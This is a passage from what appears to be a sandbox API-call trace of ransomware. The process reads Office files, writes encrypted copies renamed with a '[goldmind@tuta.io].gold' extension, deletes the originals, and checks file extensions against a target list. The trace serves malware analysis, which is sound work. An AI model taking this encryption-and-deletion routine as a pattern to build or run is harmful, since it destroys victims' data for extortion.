(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.003] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.003] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.463] GetLastError () returned 0x0 [0115.463] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.467] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.468] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.468] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0115.468] SetEndOfFile (hFile=0x194) returned 1 [0115.468] CloseHandle (hObject=0x194) returned 1 [0115.468] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.468] SetEndOfFile (hFile=0x230) returned 1 [0115.470] CloseHandle (hObject=0x230) returned 1 [0115.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico")) returned 1 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.471] lstrlenW (lpString=".doc") returned 4 [0115.471] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.471] lstrlenW (lpString=".docx") returned 5 [0115.471] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.471] lstrlenW (lpString=".pdf") returned 4 [0115.471] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.471] lstrlenW (lpString=".xls") returned 4 [0115.471] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.471] lstrlenW (lpString=".xlsx") returned 5 [0115.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.471] lstrlenW (lpString=".ppt") returned 4 [0115.471] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.471] lstrlenW (lpString=".zip") returned 4 [0115.471] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.471] lstrlenW (lpString=".rar") returned 4 [0115.471] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.471] lstrlenW (lpString=".bz2") returned 4 [0115.471] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString=".7z") returned 3 [0115.472] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".dbf") returned 4 [0115.472] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".1cd") returned 4 [0115.472] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".jpg") returned 4 [0115.472] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".doc") returned 4 [0115.472] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString=".docx") returned 5 [0115.472] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.472] lstrlenW (lpString=".pdf") returned 4 [0115.472] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.472] lstrlenW (lpString=".xls") returned 4 [0115.472] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.472] lstrlenW (lpString=".xlsx") returned 5 [0115.472] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.472] lstrlenW (lpString=".ppt") returned 4 [0115.472] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".zip") returned 4 [0115.472] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.472] lstrlenW (lpString=".rar") returned 4 [0115.472] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.472] lstrlenW (lpString=".bz2") returned 4 [0115.472] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString=".7z") returned 3 [0115.472] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".dbf") returned 4 [0115.472] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".1cd") returned 4 [0115.472] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0115.472] lstrlenW (lpString=".jpg") returned 4 [0115.472] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.472] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.472] lstrlenW (lpString="RCLRPT.CFG") returned 10 [0115.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.475] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=808) returned 1 [0115.475] CloseHandle (hObject=0x230) returned 1 [0115.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 0x20 [0115.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.477] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.478] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.478] GetLastError () returned 0x0 [0115.478] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x328, lpOverlapped=0x0) returned 1 [0115.479] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x330, lpOverlapped=0x0) returned 1 [0115.480] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.480] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0115.480] SetEndOfFile (hFile=0x194) returned 1 [0115.480] CloseHandle (hObject=0x194) returned 1 [0115.480] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.480] SetEndOfFile (hFile=0x230) returned 1 [0115.482] CloseHandle (hObject=0x230) returned 1 [0115.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 1 [0115.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.483] lstrlenW (lpString=".doc") returned 4 [0115.483] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.483] lstrlenW (lpString=".docx") returned 5 [0115.483] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.483] lstrlenW (lpString=".pdf") returned 4 [0115.483] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".xls") returned 4 [0115.484] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".xlsx") returned 5 [0115.484] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.484] lstrlenW (lpString=".ppt") returned 4 [0115.484] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".zip") returned 4 [0115.484] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".rar") returned 4 [0115.484] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".bz2") returned 4 [0115.484] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.484] lstrlenW (lpString=".7z") returned 3 [0115.484] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".dbf") returned 4 [0115.484] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".1cd") returned 4 [0115.484] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".jpg") returned 4 [0115.484] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".doc") returned 4 [0115.484] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".docx") returned 5 [0115.484] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.484] lstrlenW (lpString=".pdf") returned 4 [0115.484] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".xls") returned 4 [0115.484] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".xlsx") returned 5 [0115.484] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.484] lstrlenW (lpString=".ppt") returned 4 [0115.484] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".zip") returned 4 [0115.484] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".rar") returned 4 [0115.484] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString=".bz2") returned 4 [0115.484] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.484] lstrlenW (lpString=".7z") returned 3 [0115.484] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".dbf") returned 4 [0115.484] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.484] lstrlenW (lpString=".1cd") returned 4 [0115.484] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0115.485] lstrlenW (lpString=".jpg") returned 4 [0115.485] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.485] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.485] lstrlenW (lpString="RECL.ICO") returned 8 [0115.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.485] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0115.485] CloseHandle (hObject=0x230) returned 1 [0115.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico")) returned 0x20 [0115.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.486] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.486] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.487] GetLastError () returned 0x0 [0115.487] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.488] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.489] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.489] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0115.489] SetEndOfFile (hFile=0x194) returned 1 [0115.489] CloseHandle (hObject=0x194) returned 1 [0115.489] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.489] SetEndOfFile (hFile=0x230) returned 1 [0115.490] CloseHandle (hObject=0x230) returned 1 [0115.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico")) returned 1 [0115.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.491] lstrlenW (lpString=".doc") returned 4 [0115.491] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString=".docx") returned 5 [0115.492] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.492] lstrlenW (lpString=".pdf") returned 4 [0115.492] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".xls") returned 4 [0115.492] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".xlsx") returned 5 [0115.492] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.492] lstrlenW (lpString=".ppt") returned 4 [0115.492] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".zip") returned 4 [0115.492] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".rar") returned 4 [0115.492] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".bz2") returned 4 [0115.492] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString=".7z") returned 3 [0115.492] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".dbf") returned 4 [0115.492] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".1cd") returned 4 [0115.492] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".jpg") returned 4 [0115.492] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".doc") returned 4 [0115.492] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString=".docx") returned 5 [0115.492] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.492] lstrlenW (lpString=".pdf") returned 4 [0115.492] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".xls") returned 4 [0115.492] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".xlsx") returned 5 [0115.492] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.492] lstrlenW (lpString=".ppt") returned 4 [0115.492] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".zip") returned 4 [0115.492] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".rar") returned 4 [0115.492] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.492] lstrlenW (lpString=".bz2") returned 4 [0115.492] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString=".7z") returned 3 [0115.492] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.492] lstrlenW (lpString=".dbf") returned 4 [0115.492] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.493] lstrlenW (lpString=".1cd") returned 4 [0115.493] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0115.493] lstrlenW (lpString=".jpg") returned 4 [0115.493] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.493] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.493] lstrlenW (lpString="RECS.ICO") returned 8 [0115.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.497] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0115.497] CloseHandle (hObject=0x230) returned 1 [0115.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico")) returned 0x20 [0115.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.497] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.497] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 